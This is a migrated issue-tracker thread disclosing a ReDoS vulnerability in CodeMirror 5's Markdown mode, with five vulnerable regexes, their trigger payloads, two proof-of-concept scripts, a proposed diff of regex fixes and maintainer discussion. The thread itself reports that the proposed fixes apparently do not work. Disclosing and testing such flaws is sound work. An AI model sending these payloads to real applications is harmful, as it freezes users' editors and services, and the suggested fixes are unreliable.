A ReDoS vulnerability has been identified in CodeMirror’s Markdown mode #7128

Open
opened 2025-06-09 02:46:29 +02:00 by marijnh · 10 comments
marijnh commented 2025-06-09 02:46:29 +02:00 (Migrated from gitlab.com)

Summary

A ReDoS vulnerability has been identified in CodeMirror’s Markdown mode. Specially crafted input strings can trigger catastrophic backtracking in several regular expressions, causing the affected application to freeze or significantly degrade its performance. This vulnerability could be exploited in any environment (browser‐ or server‑side) that utilizes CodeMirror’s Markdown mode, leading to denial‑of‑service (DoS).

Details

Multiple regular expression patterns within the mode/markdown/markdown.js file are vulnerable to exponential backtracking. The problem lies in the use of greedy quantifiers (e.g., + or *) in combination with unbounded capture groups that must eventually match a terminating token. When provided with an extremely long string that fails to eventually match the pattern (e.g. due to an extra character at the end), the engine will backtrack excessively.

Below are a few representative vulnerable patterns along with the attack strings that trigger them:

  1. Trailing Spaces Check

Vulnerable Code:

if (stream.match(/ +$/, false))

Trigger Payload:
"" + " ".repeat(100000) + "@"

Problem: The pattern / +$/ uses a greedy quantifier with no length limit before the end-of-line anchor ($), causing exponential backtracking on an input consisting of 100,000 spaces followed by a non‑space character.

  1. Image/Link Prefix Check
    Vulnerable Code:
if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false))

Trigger Payload:
"" + "[".repeat(100000) + "]"

Problem: The use of [^\]]* is unbounded and can lead to catastrophic backtracking when fed with thousands of repetitive [ characters.

  1. Link Suffix Check

Vulnerable Code:

if (ch === ']' && state.linkText && stream.match(/\(.*?\)| ?\[.*?\]/, false))

Trigger Payload:
"" + "(".repeat(100000) + "\n@"

Problem: The non‑greedy .*? still causes massive backtracking in this context due to the overall pattern complexity when the input consists of many repeated ( characters followed by a newline and non‑matching character.

  1. Angle‑Bracket Email Check:
    Vulnerable Code:
if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false))

Trigger Payload:
"" + "^\u0000@".repeat(100000) + "\u0000"

Problem: The unbounded character class [^[> \\]+ together with a similar pattern for matching the domain part causes the regex engine to overwork when facing repeated patterns that do not reach the closing angle bracket.

  1. Nested Link Check
    Vulnerable Code:
if (ch === '[' && stream.match(/[^\]]*\](\(.*\)| ?\[.*?\])/, false) && !state.image)

Trigger Payload:
"" + "()]" + " [".repeat(100000) + "◎\n@◎"

Problem: The use of unbounded [^\]]* and \(.*\) further amplifies the risk of exponential backtracking with carefully crafted inputs.
Proposed Fixes Using Negative Look-Ahead:
To mitigate the vulnerability, we suggest replacing the vulnerable regex patterns with ones that do not require catastrophic backtracking. For example:

- if (stream.match(/ +$/, false)) ...
+ if (stream.match(/ {1,}(?=$)/, false)) ...

- if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false))
+ if (ch === '!' && stream.match(/\[[^\]\n]*](?=\(|\[)/, false))

- if (ch === ']' && state.linkText && stream.match(/\(.*?\)| ?\[.*?\]/, false))
+ if (ch === ']' && state.linkText &&
+     stream.match(/\((?:[^()\\]|\\.)*]\)| ?\[(?:[^\]\\]|\\.)*]/, false))

- if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false))
+ if (ch === '<' && stream.match(/^[^\s>@]+@[^>\s]+>/, false))

- if (ch === '[' && stream.match(/[^\]]*\](\(.*\)| ?\[.*?\])/, false) && !state.image)
+ if (ch === '[' && !state.image &&
+     stream.match(/[^\]\n]*](?=\((?:[^()\\]|\\.)*]\)| ?\[(?:[^\]\\]|\\.)*])/, false))

PoC

Below are two proof‑of‑concept examples:

PoC via a Standalone HTML File
Save the following content as poc.html, ensuring that it resides alongside your local copies of:

lib/codemirror.js

mode/xml/xml.js

mode/markdown/markdown.js

Then open the file in a browser and observe the console output.

<!doctype html>
<html lang="zh-CN">
<head>
  <meta charset="utf-8">
  <title>CodeMirror Markdown ReDoS PoC</title>
  <link rel="stylesheet" href="lib/codemirror.css">
  <script src="lib/codemirror.js"></script>
  <script src="mode/xml/xml.js"></script>
  <script src="mode/markdown/markdown.js"></script>
  <style>
    body { font:14px sans-serif; padding:20px; }
    .CodeMirror { border:1px solid #444; height:200px; }
  </style>
</head>
<body>
<h2>Markdown ReDoS PoC</h2>
<p>maybe Redos!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p>
<textarea id="editor"></textarea>
<script>
  const cases = [
    { desc: "spaces",     payload: " ".repeat(100000) + "@",         note: "trailing-space matcher (/ +$/)" },
    { desc: "brackets",   payload: "[".repeat(100000) + "]",         note: "image/link prefix (/\[[^\]]*\] ?(?:\(|\[)/)" },
    { desc: "parenNL",    payload: "(".repeat(100000) + "\n@",       note: "link suffix (/\(.*?\)| ?\[.*?\]/)" },
    { desc: "nullEmail",  payload: "^\u0000@".repeat(100000) + "\u0000", note: "angle-bracket email (/^[^> \\]+@(?:[^\\>]|\\.)+>/)" },
    { desc: "linkMix",    payload: "()]" + " [".repeat(100000) + "◎\n@◎", note: "nested link (/[^\]]*\](\(.*\)| ?\[.*?\])/)"} 
  ];

  cases.forEach(({ desc, payload, note }) => {
    const host = document.body.appendChild(document.createElement("div"));
    host.style.cssText = "position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;";
    const cm = CodeMirror(host, { value: payload, mode: "markdown", lineNumbers: false });
    console.time("ReDoS-" + desc);
    cm.getTokenAt({ line: 0, ch: payload.length });
    console.timeEnd("ReDoS-" + desc);
    console.log(`Case "${desc}": ${note}`);
    cm.toTextArea();
    host.remove();
  });
</script>
</body>
</html>

PoC via Existing Test Suite (test.js)
If you already use a test suite to run CodeMirror’s tests (as in your test.js file), append the following code in the end of test.js file.

/* ===========================================================
 *  ReDoS Performance Assertion Module
 *  -----------------------------------------------------------
 *  If the Markdown tokenizer takes longer than 2000 ms to process
 *  any of the provided payloads, throw an error to fail the test,
 *  indicating the presence of a ReDoS vulnerability.
 * ===========================================================*/
(function () {
  if (typeof CodeMirror === "undefined") return;      // Ensure CodeMirror is loaded

  const THRESHOLD = 2000;   // Assertion threshold: 2000 ms
  
  const CASES = [
    { name: "spaces",    payload: " ".repeat(100000) + "@",         note: "trailing-space (/ +$/)" },
    { name: "brackets",  payload: "[".repeat(100000) + "]",         note: "image/link prefix (/\\[[^\\]]*\\] ?(?:\\(|\\[)/)" },
    { name: "parenNL",   payload: "(".repeat(100000) + "\n@",       note: "link suffix (/\\(.*?\\)| ?\\[.*?\\]/)" },
    { name: "nullEmail", payload: "^\u0000@".repeat(100000) + "\u0000", note: "angle-email (/^[^> \\]+@(?:[^\\>]|\\.)+>/)" },
    { name: "linkMix",   payload: "()]" + " [".repeat(100000) + "◎\n@◎", note: "nested link (/[^\\]]*\\](\\(.*\\)| ?\\[.*?\\])/)" }
  ];

  CASES.forEach(({ name, payload, note }) => {
    // Create a temporary off-screen container for the CodeMirror instance
    const host = document.body.appendChild(document.createElement("div"));
    host.style.cssText = "position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;";
    
    // Create a CodeMirror instance in Markdown mode with the payload as its value
    const cm = CodeMirror(host, { value: payload, mode: "markdown", lineNumbers: false });
    
    // Measure the time taken to tokenize the entire payload
    const t0 = performance.now();
    cm.getTokenAt({ line: 0, ch: payload.length });
    const dt = performance.now() - t0;
    
    console.log(`ReDoS-${name}: ${dt.toFixed(0)} ms (${note})`);
    
    // If processing time exceeds the threshold, throw an error to fail the test
    if (dt > THRESHOLD) {
      throw new Error(`ReDoS vulnerability detected in case "${name}" — ${dt.toFixed(0)} ms exceeds threshold of ${THRESHOLD} ms.`);
    }
    
    // Cleanup
    cm.toTextArea();
    host.remove();
  });
})();

Impact

Impact
Type: Regular-expression Denial of Service (ReDoS)

Affected Component: CodeMirror’s Markdown mode (v5.17.0 or earlier)

Who is Impacted:

Web applications that embed CodeMirror to allow users to edit Markdown content.

Server‑side renderers that reuse CodeMirror’s tokenizer.

Result: An attacker may provide a maliciously crafted Markdown input, causing the editor (or associated service) to freeze the CPU for several seconds or longer, leading to a denial of service.

### Summary A ReDoS vulnerability has been identified in CodeMirror’s Markdown mode. Specially crafted input strings can trigger catastrophic backtracking in several regular expressions, causing the affected application to freeze or significantly degrade its performance. This vulnerability could be exploited in any environment (browser‐ or server‑side) that utilizes CodeMirror’s Markdown mode, leading to denial‑of‑service (DoS). ### Details Multiple regular expression patterns within the mode/markdown/markdown.js file are vulnerable to exponential backtracking. The problem lies in the use of greedy quantifiers (e.g., + or *) in combination with unbounded capture groups that must eventually match a terminating token. When provided with an extremely long string that fails to eventually match the pattern (e.g. due to an extra character at the end), the engine will backtrack excessively. Below are a few representative vulnerable patterns along with the attack strings that trigger them: 1. Trailing Spaces Check Vulnerable Code: ```js if (stream.match(/ +$/, false)) ``` Trigger Payload: `"" + " ".repeat(100000) + "@"` Problem: The pattern `/ +$/` uses a greedy quantifier with no length limit before the end-of-line anchor (`$`), causing exponential backtracking on an input consisting of 100,000 spaces followed by a non‑space character. 2. Image/Link Prefix Check Vulnerable Code: ```js if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false)) ``` Trigger Payload: `"" + "[".repeat(100000) + "]"` Problem: The use of `[^\]]*` is unbounded and can lead to catastrophic backtracking when fed with thousands of repetitive `[` characters. 3. Link Suffix Check Vulnerable Code: ```js if (ch === ']' && state.linkText && stream.match(/\(.*?\)| ?\[.*?\]/, false)) ``` Trigger Payload: `"" + "(".repeat(100000) + "\n@"` Problem: The non‑greedy `.*?` still causes massive backtracking in this context due to the overall pattern complexity when the input consists of many repeated ( characters followed by a newline and non‑matching character. 4. Angle‑Bracket Email Check: Vulnerable Code: ```js if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false)) ``` Trigger Payload: `"" + "^\u0000@".repeat(100000) + "\u0000"` Problem: The unbounded character class `[^[> \\]+` together with a similar pattern for matching the domain part causes the regex engine to overwork when facing repeated patterns that do not reach the closing angle bracket. 5. Nested Link Check Vulnerable Code: ```js if (ch === '[' && stream.match(/[^\]]*\](\(.*\)| ?\[.*?\])/, false) && !state.image) ``` Trigger Payload: `"" + "()]" + " [".repeat(100000) + "◎\n@◎"` Problem: The use of unbounded `[^\]]*` and `\(.*\)` further amplifies the risk of exponential backtracking with carefully crafted inputs. Proposed Fixes Using Negative Look-Ahead: To mitigate the vulnerability, we suggest replacing the vulnerable regex patterns with ones that do not require catastrophic backtracking. For example: ```diff - if (stream.match(/ +$/, false)) ... + if (stream.match(/ {1,}(?=$)/, false)) ... - if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false)) + if (ch === '!' && stream.match(/\[[^\]\n]*](?=\(|\[)/, false)) - if (ch === ']' && state.linkText && stream.match(/\(.*?\)| ?\[.*?\]/, false)) + if (ch === ']' && state.linkText && + stream.match(/\((?:[^()\\]|\\.)*]\)| ?\[(?:[^\]\\]|\\.)*]/, false)) - if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false)) + if (ch === '<' && stream.match(/^[^\s>@]+@[^>\s]+>/, false)) - if (ch === '[' && stream.match(/[^\]]*\](\(.*\)| ?\[.*?\])/, false) && !state.image) + if (ch === '[' && !state.image && + stream.match(/[^\]\n]*](?=\((?:[^()\\]|\\.)*]\)| ?\[(?:[^\]\\]|\\.)*])/, false)) ``` ### PoC Below are two proof‑of‑concept examples: PoC via a Standalone HTML File Save the following content as `poc.html`, ensuring that it resides alongside your local copies of: lib/codemirror.js mode/xml/xml.js mode/markdown/markdown.js Then open the file in a browser and observe the console output. ```html <!doctype html> <html lang="zh-CN"> <head> <meta charset="utf-8"> <title>CodeMirror Markdown ReDoS PoC</title> <link rel="stylesheet" href="lib/codemirror.css"> <script src="lib/codemirror.js"></script> <script src="mode/xml/xml.js"></script> <script src="mode/markdown/markdown.js"></script> <style> body { font:14px sans-serif; padding:20px; } .CodeMirror { border:1px solid #444; height:200px; } </style> </head> <body> <h2>Markdown ReDoS PoC</h2> <p>maybe Redos!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!</p> <textarea id="editor"></textarea> <script> const cases = [ { desc: "spaces", payload: " ".repeat(100000) + "@", note: "trailing-space matcher (/ +$/)" }, { desc: "brackets", payload: "[".repeat(100000) + "]", note: "image/link prefix (/\[[^\]]*\] ?(?:\(|\[)/)" }, { desc: "parenNL", payload: "(".repeat(100000) + "\n@", note: "link suffix (/\(.*?\)| ?\[.*?\]/)" }, { desc: "nullEmail", payload: "^\u0000@".repeat(100000) + "\u0000", note: "angle-bracket email (/^[^> \\]+@(?:[^\\>]|\\.)+>/)" }, { desc: "linkMix", payload: "()]" + " [".repeat(100000) + "◎\n@◎", note: "nested link (/[^\]]*\](\(.*\)| ?\[.*?\])/)"} ]; cases.forEach(({ desc, payload, note }) => { const host = document.body.appendChild(document.createElement("div")); host.style.cssText = "position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;"; const cm = CodeMirror(host, { value: payload, mode: "markdown", lineNumbers: false }); console.time("ReDoS-" + desc); cm.getTokenAt({ line: 0, ch: payload.length }); console.timeEnd("ReDoS-" + desc); console.log(`Case "${desc}": ${note}`); cm.toTextArea(); host.remove(); }); </script> </body> </html> ``` PoC via Existing Test Suite (test.js) If you already use a test suite to run CodeMirror’s tests (as in your test.js file), append the following code in the end of test.js file. ```js /* =========================================================== * ReDoS Performance Assertion Module * ----------------------------------------------------------- * If the Markdown tokenizer takes longer than 2000 ms to process * any of the provided payloads, throw an error to fail the test, * indicating the presence of a ReDoS vulnerability. * ===========================================================*/ (function () { if (typeof CodeMirror === "undefined") return; // Ensure CodeMirror is loaded const THRESHOLD = 2000; // Assertion threshold: 2000 ms const CASES = [ { name: "spaces", payload: " ".repeat(100000) + "@", note: "trailing-space (/ +$/)" }, { name: "brackets", payload: "[".repeat(100000) + "]", note: "image/link prefix (/\\[[^\\]]*\\] ?(?:\\(|\\[)/)" }, { name: "parenNL", payload: "(".repeat(100000) + "\n@", note: "link suffix (/\\(.*?\\)| ?\\[.*?\\]/)" }, { name: "nullEmail", payload: "^\u0000@".repeat(100000) + "\u0000", note: "angle-email (/^[^> \\]+@(?:[^\\>]|\\.)+>/)" }, { name: "linkMix", payload: "()]" + " [".repeat(100000) + "◎\n@◎", note: "nested link (/[^\\]]*\\](\\(.*\\)| ?\\[.*?\\])/)" } ]; CASES.forEach(({ name, payload, note }) => { // Create a temporary off-screen container for the CodeMirror instance const host = document.body.appendChild(document.createElement("div")); host.style.cssText = "position:fixed;top:-9999px;left:-9999px;width:1px;height:1px;"; // Create a CodeMirror instance in Markdown mode with the payload as its value const cm = CodeMirror(host, { value: payload, mode: "markdown", lineNumbers: false }); // Measure the time taken to tokenize the entire payload const t0 = performance.now(); cm.getTokenAt({ line: 0, ch: payload.length }); const dt = performance.now() - t0; console.log(`ReDoS-${name}: ${dt.toFixed(0)} ms (${note})`); // If processing time exceeds the threshold, throw an error to fail the test if (dt > THRESHOLD) { throw new Error(`ReDoS vulnerability detected in case "${name}" — ${dt.toFixed(0)} ms exceeds threshold of ${THRESHOLD} ms.`); } // Cleanup cm.toTextArea(); host.remove(); }); })(); ``` ### Impact Impact Type: Regular-expression Denial of Service (ReDoS) Affected Component: CodeMirror’s Markdown mode (v5.17.0 or earlier) Who is Impacted: Web applications that embed CodeMirror to allow users to edit Markdown content. Server‑side renderers that reuse CodeMirror’s tokenizer. Result: An attacker may provide a maliciously crafted Markdown input, causing the editor (or associated service) to freeze the CPU for several seconds or longer, leading to a denial of service.
marijnh commented 2025-06-26 14:15:40 +02:00 (Migrated from gitlab.com)

Hello.
Affected: "v5.17.0 or earlier"
Base on the changelog, 5.17.0 has been released on 19-07-2016.

Can you confirm you tested this version ?

If so, can you confirm our PoC is working on the latest version (5.65.19) ?

Thanks

Hello. Affected: "v5.17.0 or earlier" Base on the [changelog](https://codemirror.net/5/doc/releases.html), 5.17.0 has been released on 19-07-2016. Can you confirm you tested this version ? If so, can you confirm our PoC is working on the latest version ([5.65.19](https://github.com/codemirror/codemirror5/releases/tag/5.65.19)) ? Thanks
marijnh commented 2025-07-15 22:00:43 +02:00 (Migrated from gitlab.com)

Snyk is reporting this as a vulnerability in the current version: https://security.snyk.io/vuln/SNYK-JS-CODEMIRROR-10494092

We could use a patch for it to satisfy our security requirements.

Snyk is reporting this as a vulnerability in the current version: https://security.snyk.io/vuln/SNYK-JS-CODEMIRROR-10494092 We could use a patch for it to satisfy our security requirements.
marijnh commented 2025-08-01 06:26:42 +02:00 (Migrated from gitlab.com)

Hi team, at work we're also starting to receive Snyk security warnings (same link as @lonnyhoward mentioned above) which is creating security tickets. Could you please let us know if there are plans to patch this?

Hi team, at work we're also starting to receive Snyk security warnings (same link as `@lonnyhoward` mentioned above) which is creating security tickets. Could you please let us know if there are plans to patch this?
marijnh commented 2025-08-01 07:48:06 +02:00 (Migrated from gitlab.com)

Also could you please let us know if CodeMirror 6 is also vulnerable?

Also could you please let us know if CodeMirror 6 is also vulnerable?
marijnh commented 2025-08-01 18:16:24 +02:00 (Migrated from gitlab.com)

CodeMirror 6 is not vulnerable. Since these are really minor vulnerabilities (at worse, you can make someone's browser tab slow), there are no plans to rewrite the version 5 Markdown mode to address this.

CodeMirror 6 is not vulnerable. Since these are really minor vulnerabilities (at worse, you can make someone's browser tab slow), there are no plans to rewrite the version 5 Markdown mode to address this.
marijnh commented 2025-08-03 22:24:06 +02:00 (Migrated from gitlab.com)

Thanks for the quick reply. Looks like the security scanner went too aggressive on rating the CVE's severity.

I'm using GraphiQL (the GraphQL IDE) which pulls in CodeMirror 5. I'll let those folks know there is a new version available.

Thanks for all your time maintaining this library!

Thanks for the quick reply. Looks like the security scanner went too aggressive on rating the CVE's severity. I'm using GraphiQL (the GraphQL IDE) which pulls in CodeMirror 5. I'll let those folks know there is a new version available. Thanks for all your time maintaining this library!
marijnh commented 2025-08-03 22:29:06 +02:00 (Migrated from gitlab.com)

mentioned in issue #4089

mentioned in issue #4089
marijnh commented 2025-08-27 00:51:46 +02:00 (Migrated from gitlab.com)

mentioned in merge request !14296

mentioned in merge request !14296
marijnh commented 2025-08-27 15:34:09 +02:00 (Migrated from gitlab.com)

Hi @ShiyuBanzhou. I made a PR with your proposed fixes, and @marijnh does not think they work. Can we close this?

Hi `@ShiyuBanzhou.` I made a PR with your proposed fixes, and `@marijnh` does not think they work. Can we close this?
marijnh commented 2025-09-01 17:46:16 +02:00 (Migrated from gitlab.com)

mentioned in issue #7139

mentioned in issue #7139
Sign in to join this conversation.
No labels
No milestone
No project
No assignees
1 participant
Notifications
Due date
The due date is invalid or out of range. Please use the format "yyyy-mm-dd".

No due date set.

Dependencies

No dependencies set.

Reference
codemirror/codemirror5#7128
No description provided.